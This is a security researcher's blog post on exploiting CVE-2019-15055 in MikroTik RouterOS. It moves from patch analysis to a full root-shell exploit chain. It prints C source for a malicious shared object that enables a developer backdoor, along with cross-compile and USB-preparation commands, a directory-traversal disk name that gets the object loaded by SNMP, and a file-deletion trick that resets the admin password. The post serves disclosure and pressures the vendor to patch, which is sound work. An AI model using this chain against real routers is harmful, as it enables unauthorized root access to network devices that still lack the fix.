Rooting RouterOS with a USB Drive
Putting CVE-2019–15055 to Work
I was avoiding writing a blog about scanning a few million MikroTik routers when I noticed MikroTik patched a vulnerability. It caught my attention because, initially, only 6.46beta34 received a patch. A patch for Stable was released after I wrote this blog and a patch for Long-term is still pending. I wasn’t the only one to notice the vulnerability either.
The 6.46beta34 release notes contain this line: “system — accept only valid string for “name” parameter in “disk” menu (CVE-2019–15055);”
A quick diff of /nova/bin/diskd yielded a simple patch.
The patch adds two comparisons that can branch to the “bad name” error message. The patch specifically looks for the ‘.’ and ‘/’ characters in a string. The reader can safely assume that this logic filters the name assigned to a mounted disk. Pictured below, I’ve inserted a USB drive into my MikroTik router.
The drive gets auto-assigned the name disk1, but an authenticated user can assign whatever they’d like.
The disk name isn’t purely cosmetic. It’s used in the drive’s file path.
Filtering ‘.’ and ‘/’ from the name makes sense to defeat directory traversal vulnerabilities. I actually got really excited here and changed the drive’s name to ../../../../../etc/, but that didn’t do anything.
When I looked deeper into how the disk name was used internally, I quickly found the name being used to create symlinks.
Specifically, RouterOS will create two symlinks. One in /rw/media/ and one in /rw/pckg/.
From the image, you can see the user doesn’t control the symlink’s destination. Inevitably, no matter the name of the symlink, it will always point to /ram/disk%u (aka the USB’s file system).
Cool. Patch analysis is fun. But how’s this exploitable? After finally googling the CVE, like I should have done in the beginning, I found that FortiGuard Labs discovered this vulnerability and disclosed it on August 23rd. They state, “Successful exploitation of this vulnerability would allow a remote authenticated attacker to delete arbitrary file [sic] on the system, which could lead to privilege escalation.”
RouterOS is mostly read-only. There are only a couple of interesting files that can actually be deleted. For example, you could delete /rw/store/user.dat and, after a reboot, the “admin” user will revert back to a blank password. Here’s a quick proof of concept video:
MikroTik’s forum post, pictured at the beginning of this blog, is kind of right though. Resetting the user accounts when you already have a valid account isn’t that exciting. But that isn’t all CVE-2019–15055 can do. In fact, I’m about to show you how to use it to get a root shell.
If you read my previous blog, RouterOS Post Exploitation, you might recall that I was able to get RouterOS’s SNMP binary to load a shared object by storing it in /pckg/snmp_xploit/nova/lib/snmp/. This works because the SNMP process loops over all the directories in /pckg/ looking for shared objects to dlopen(). We can do the exact same thing here using CVE-2019–15055 and the USB’s file system.
This blog’s victim is a MikroTik hAP. This little guy features a USB port and it uses RouterOS MIPSBE. We’ll need to cross-compile the malicious shared object to MIPS big endian. What shared object? This one:
#include <unistd.h>
#include <stdlib.h>void __attribute__((constructor)) lol(void)
{
int fork_result = fork();
if (fork_result == 0)
{
execl("/bin/bash", "bash", "-c",
"mkdir /pckg/option; mount -o bind /boot/ /pckg/option",
(char *) 0);
exit(0);
}
}extern void autorun(void)
{
// do nothin' I guess?
return;
}
This code is very simple. The lol() function will be invoked when the SNMP binary calls dlopen() on the shared object. The function itself creates the directory /pckg/option and mounts /boot to it. Seems a bit odd, but this will enable a backdoor that allows the devel user to telnet or ssh to a root busybox shell.
Compiling the shared object and preparing the USB drive is straightforward:
albinolobster@ubuntu:~/routeros/poc/cve_2019_15055/shared_obj$ ~/cross-compiler-mips/bin/mips-gcc -c -fpic snmp_exec.c
albinolobster@ubuntu:~/routeros/poc/cve_2019_15055/shared_obj$ ~/cross-compiler-mips/bin/mips-gcc -shared -s -o lol_mips.so snmp_exec.o
albinolobster@ubuntu:~/routeros/poc/cve_2019_15055/shared_obj$ mkdir -p /media/albinolobster/B463-D645/nova/lib/snmp/
albinolobster@ubuntu:~/routeros/poc/cve_2019_15055/shared_obj$ cp lol_mips.so /media/albinolobster/B463-D645/nova/lib/snmp/
As discussed earlier, the malicious USB is initially mounted as disk%u.
Pop over to System → Disk and change the drive’s name from disk1 to ../../../ram/pckg/snmp_xploit.
Under the hood, you can see that the snmp_xploit directory can now be found in /pckg/.
Next head over to IP → SNMP and either enable SNMP or restart it. This will cause SNMP to load the shared object off of the USB drive. The developer backdoor should get enabled almost immediately. Once logged in through the backdoor as root, you can see the shared object loaded into SNMP’s memory.
A proof of concept video follows:
Remember, this vulnerability remains unfixed in RouterOS Long-term. While the attack does require authentication, RouterOS ships with default credentials and a couple of the interfaces are vulnerable to brute-forcing. And, of course, insider threats are very real. Especially with a high-value target like an ISP router.
Finally, Tenable’s disclosure policy states that releasing a patch is disclosure. Figuring out what the release candidate patch did was trivial. And if I can do it, anyone can. You need to release patches for all affected versions.